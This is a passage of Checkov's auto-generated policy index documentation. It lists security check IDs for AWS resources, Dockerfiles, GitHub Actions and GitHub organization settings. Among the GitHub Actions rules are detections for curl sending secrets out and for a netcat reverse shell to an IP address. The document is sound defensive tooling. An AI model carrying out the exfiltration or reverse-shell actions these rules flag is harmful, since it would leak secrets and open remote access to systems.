[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1633 | CKV2_AWS_75 | resource | aws_vpclattice_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1634 | CKV2_AWS_75 | resource | aws_vpclattice_service_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1635 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1636 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1637 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1638 | CKV2_AWS_75 | resource | aws_vpclattice_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1639 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1640 | CKV2_AWS_75 | resource | aws_vpn_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1641 | CKV2_AWS_75 | resource | aws_vpn_connection_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1642 | CKV2_AWS_75 | resource | aws_vpn_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1643 | CKV2_AWS_75 | resource | aws_vpn_gateway_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1644 | CKV2_AWS_75 | resource | aws_vpn_gateway_route_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1645 | CKV2_AWS_75 | resource | aws_waf_byte_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1646 | CKV2_AWS_75 | resource | aws_waf_geo_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1647 | CKV2_AWS_75 | resource | aws_waf_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1648 | CKV2_AWS_75 | resource | aws_waf_rate_based_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1649 | CKV2_AWS_75 | resource | aws_waf_regex_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1650 | CKV2_AWS_75 | resource | aws_waf_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1651 | CKV2_AWS_75 | resource | aws_waf_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1652 | CKV2_AWS_75 | resource | aws_waf_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1653 | CKV2_AWS_75 | resource | aws_waf_size_constraint_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1654 | CKV2_AWS_75 | resource | aws_waf_sql_injection_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1655 | CKV2_AWS_75 | resource | aws_waf_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1656 | CKV2_AWS_75 | resource | aws_waf_xss_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1657 | CKV2_AWS_75 | resource | aws_wafregional_byte_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1658 | CKV2_AWS_75 | resource | aws_wafregional_geo_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1659 | CKV2_AWS_75 | resource | aws_wafregional_ipset | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1660 | CKV2_AWS_75 | resource | aws_wafregional_rate_based_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1661 | CKV2_AWS_75 | resource | aws_wafregional_regex_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1662 | CKV2_AWS_75 | resource | aws_wafregional_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1663 | CKV2_AWS_75 | resource | aws_wafregional_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1664 | CKV2_AWS_75 | resource | aws_wafregional_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1665 | CKV2_AWS_75 | resource | aws_wafregional_size_constraint_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1666 | CKV2_AWS_75 | resource | aws_wafregional_sql_injection_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1667 | CKV2_AWS_75 | resource | aws_wafregional_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1668 | CKV2_AWS_75 | resource | aws_wafregional_web_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1669 | CKV2_AWS_75 | resource | aws_wafregional_xss_match_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1670 | CKV2_AWS_75 | resource | aws_wafv2_ip_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1671 | CKV2_AWS_75 | resource | aws_wafv2_regex_pattern_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1672 | CKV2_AWS_75 | resource | aws_wafv2_rule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1673 | CKV2_AWS_75 | resource | aws_wafv2_web_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1674 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1675 | CKV2_AWS_75 | resource | aws_wafv2_web_acl_logging_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1676 | CKV2_AWS_75 | resource | aws_worklink_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1677 | CKV2_AWS_75 | resource | aws_worklink_website_certificate_authority_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1678 | CKV2_AWS_75 | resource | aws_workspaces_connection_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1679 | CKV2_AWS_75 | resource | aws_workspaces_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1680 | CKV2_AWS_75 | resource | aws_workspaces_ip_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1681 | CKV2_AWS_75 | resource | aws_workspaces_workspace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1682 | CKV2_AWS_75 | resource | aws_xray_encryption_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1683 | CKV2_AWS_75 | resource | aws_xray_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1684 | CKV2_AWS_75 | resource | aws_xray_sampling_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | --- ================================================ FILE: docs/5.Policy Index/dockerfile.md ================================================ --- layout: default title: dockerfile resource scans nav_order: 1 --- # dockerfile resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|----------------|------------|------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_DOCKER_1 | dockerfile | EXPOSE | Ensure port 22 is not exposed | dockerfile | [ExposePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ExposePort22.py) | | 1 | CKV_DOCKER_2 | dockerfile | * | Ensure that HEALTHCHECK instructions have been added to container images | dockerfile | [HealthcheckExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/HealthcheckExists.py) | | 2 | CKV_DOCKER_3 | dockerfile | * | Ensure that a user for the container has been created | dockerfile | [UserExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UserExists.py) | | 3 | CKV_DOCKER_4 | dockerfile | ADD | Ensure that COPY is used instead of ADD in Dockerfiles | dockerfile | [AddExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AddExists.py) | | 4 | CKV_DOCKER_5 | dockerfile | RUN | Ensure update instructions are not use alone in the Dockerfile | dockerfile | [UpdateNotAlone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/UpdateNotAlone.py) | | 5 | CKV_DOCKER_6 | dockerfile | MAINTAINER | Ensure that LABEL maintainer is used instead of MAINTAINER (deprecated) | dockerfile | [MaintainerExists.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/MaintainerExists.py) | | 6 | CKV_DOCKER_7 | dockerfile | FROM | Ensure the base image uses a non latest version tag | dockerfile | [ReferenceLatestTag.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/ReferenceLatestTag.py) | | 7 | CKV_DOCKER_8 | dockerfile | USER | Ensure the last USER is not root | dockerfile | [RootUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RootUser.py) | | 8 | CKV_DOCKER_9 | dockerfile | RUN | Ensure that APT isn't used | dockerfile | [RunUsingAPT.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/RunUsingAPT.py) | | 9 | CKV_DOCKER_10 | dockerfile | WORKDIR | Ensure that WORKDIR values are absolute paths | dockerfile | [WorkdirIsAbsolute.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/WorkdirIsAbsolute.py) | | 10 | CKV_DOCKER_11 | dockerfile | FROM | Ensure From Alias are unique for multistage builds. | dockerfile | [AliasIsUnique.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/AliasIsUnique.py) | | 11 | CKV2_DOCKER_1 | resource | RUN | Ensure that sudo isn't used | dockerfile | [RunUsingSudo.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUsingSudo.yaml) | | 12 | CKV2_DOCKER_2 | resource | RUN | Ensure that certificate validation isn't disabled with curl | dockerfile | [RunUnsafeCurl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeCurl.yaml) | | 13 | CKV2_DOCKER_3 | resource | RUN | Ensure that certificate validation isn't disabled with wget | dockerfile | [RunUnsafeWget.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunUnsafeWget.yaml) | | 14 | CKV2_DOCKER_4 | resource | RUN | Ensure that certificate validation isn't disabled with the pip '--trusted-host' option | dockerfile | [RunPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunPipTrustedHost.yaml) | | 15 | CKV2_DOCKER_5 | resource | ARG | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml) | | 16 | CKV2_DOCKER_5 | resource | ENV | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml) | | 17 | CKV2_DOCKER_5 | resource | RUN | Ensure that certificate validation isn't disabled with the PYTHONHTTPSVERIFY environment variable | dockerfile | [EnvPythonHttpsVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPythonHttpsVerify.yaml) | | 18 | CKV2_DOCKER_6 | resource | ARG | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml) | | 19 | CKV2_DOCKER_6 | resource | ENV | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml) | | 20 | CKV2_DOCKER_6 | resource | RUN | Ensure that certificate validation isn't disabled with the NODE_TLS_REJECT_UNAUTHORIZED environment variable | dockerfile | [EnvNodeTlsRejectUnauthorized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNodeTlsRejectUnauthorized.yaml) | | 21 | CKV2_DOCKER_7 | resource | RUN | Ensure that packages with untrusted or missing signatures are not used by apk via the '--allow-untrusted' option | dockerfile | [RunApkAllowUntrusted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunApkAllowUntrusted.yaml) | | 22 | CKV2_DOCKER_8 | resource | RUN | Ensure that packages with untrusted or missing signatures are not used by apt-get via the '--allow-unauthenticated' option | dockerfile | [RunAptGetAllowUnauthenticated.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetAllowUnauthenticated.yaml) | | 23 | CKV2_DOCKER_9 | resource | RUN | Ensure that packages with untrusted or missing GPG signatures are not used by dnf, tdnf, or yum via the '--nogpgcheck' option | dockerfile | [RunYumNoGpgCheck.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumNoGpgCheck.yaml) | | 24 | CKV2_DOCKER_10 | resource | RUN | Ensure that packages with untrusted or missing signatures are not used by rpm via the '--nodigest', '--nosignature', '--noverify', or '--nofiledigest' options | dockerfile | [RunRpmNoSignature.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunRpmNoSignature.yaml) | | 25 | CKV2_DOCKER_11 | resource | RUN | Ensure that the '--force-yes' option is not used, as it disables signature validation and allows packages to be downgraded which can leave the system in a broken or inconsistent state | dockerfile | [RunAptGetForceYes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetForceYes.yaml) | | 26 | CKV2_DOCKER_12 | resource | ARG | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml) | | 27 | CKV2_DOCKER_12 | resource | ENV | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml) | | 28 | CKV2_DOCKER_12 | resource | RUN | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable | dockerfile | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml) | | 29 | CKV2_DOCKER_13 | resource | RUN | Ensure that certificate validation isn't disabled for npm or yarn by setting the option strict-ssl to false | dockerfile | [RunNpmConfigSetStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunNpmConfigSetStrictSsl.yaml) | | 30 | CKV2_DOCKER_14 | resource | ARG | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml) | | 31 | CKV2_DOCKER_14 | resource | ENV | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml) | | 32 | CKV2_DOCKER_14 | resource | RUN | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value | dockerfile | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml) | | 33 | CKV2_DOCKER_15 | resource | RUN | Ensure that the yum and dnf package managers are not configured to disable SSL certificate validation via the 'sslverify' configuration option | dockerfile | [RunYumConfigManagerSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumConfigManagerSslVerify.yaml) | | 34 | CKV2_DOCKER_16 | resource | ARG | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml) | | 35 | CKV2_DOCKER_16 | resource | ENV | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml) | | 36 | CKV2_DOCKER_16 | resource | RUN | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable | dockerfile | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml) | | 37 | CKV2_DOCKER_17 | resource | RUN | Ensure that 'chpasswd' is not used to set or remove passwords | dockerfile | [RunChpasswd.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunChpasswd.yaml) | --- ================================================ FILE: docs/5.Policy Index/github_actions.md ================================================ --- layout: default title: github_actions resource scans nav_order: 1 --- # github_actions resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|------------|----------|----------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_GHA_1 | jobs | jobs | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables | github_actions | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py) | | 1 | CKV_GHA_1 | jobs | jobs.*.steps[] | Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables | github_actions | [AllowUnsecureCommandsOnJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py) | | 2 | CKV_GHA_2 | jobs | jobs | Ensure run commands are not vulnerable to shell injection | github_actions | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py) | | 3 | CKV_GHA_2 | jobs | jobs.*.steps[] | Ensure run commands are not vulnerable to shell injection | github_actions | [ShellInjection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ShellInjection.py) | | 4 | CKV_GHA_3 | jobs | jobs | Suspicious use of curl with secrets | github_actions | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py) | | 5 | CKV_GHA_3 | jobs | jobs.*.steps[] | Suspicious use of curl with secrets | github_actions | [SuspectCurlInScript.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/SuspectCurlInScript.py) | | 6 | CKV_GHA_4 | jobs | jobs | Suspicious use of netcat with IP address | github_actions | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py) | | 7 | CKV_GHA_4 | jobs | jobs.*.steps[] | Suspicious use of netcat with IP address | github_actions | [ReverseShellNetcat.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/ReverseShellNetcat.py) | | 8 | CKV_GHA_5 | jobs | jobs | Found artifact build without evidence of cosign sign execution in pipeline | github_actions | [CosignArtifacts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignArtifacts.py) | | 9 | CKV_GHA_6 | jobs | jobs | Found artifact build without evidence of cosign sbom attestation in pipeline | github_actions | [CosignSBOM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/CosignSBOM.py) | | 10 | CKV_GHA_7 | jobs | on | The build output cannot be affected by user parameters other than the build entry point and the top-level source location. GitHub Actions workflow_dispatch inputs MUST be empty. | github_actions | [EmptyWorkflowDispatch.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/job/EmptyWorkflowDispatch.py) | | 11 | CKV2_GHA_1 | resource | permissions | Ensure top-level permissions are not set to write-all | github_actions | [ReadOnlyTopLevelPermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/github_actions/checks/graph_checks/ReadOnlyTopLevelPermissions.yaml) | --- ================================================ FILE: docs/5.Policy Index/github_configuration.md ================================================ --- layout: default title: github_configuration resource scans nav_order: 1 --- # github_configuration resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|---------------|----------------------|----------|---------------------------------------------------------------------------------|----------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_GITHUB_1 | github_configuration | * | Ensure GitHub organization security settings require 2FA | github_configuration | [2fa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/2fa.py) | | 1 | CKV_GITHUB_2 | github_configuration | * | Ensure GitHub organization security settings require SSO | github_configuration | [sso.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/sso.py) | | 2 | CKV_GITHUB_3 | github_configuration | * | Ensure GitHub organization security settings has IP allow list enabled | github_configuration | [ipallowlist.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/ipallowlist.py) | | 3 | CKV_GITHUB_4 | github_configuration | * | Ensure GitHub branch protection rules requires signed commits | github_configuration | [require_signatures.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/github/checks/require_signatures.py) | | 4 | CKV_GITHUB_5 | github_configuration | * | Ensure GitHub branch protection rules does not allow force pushes | github_configuration | 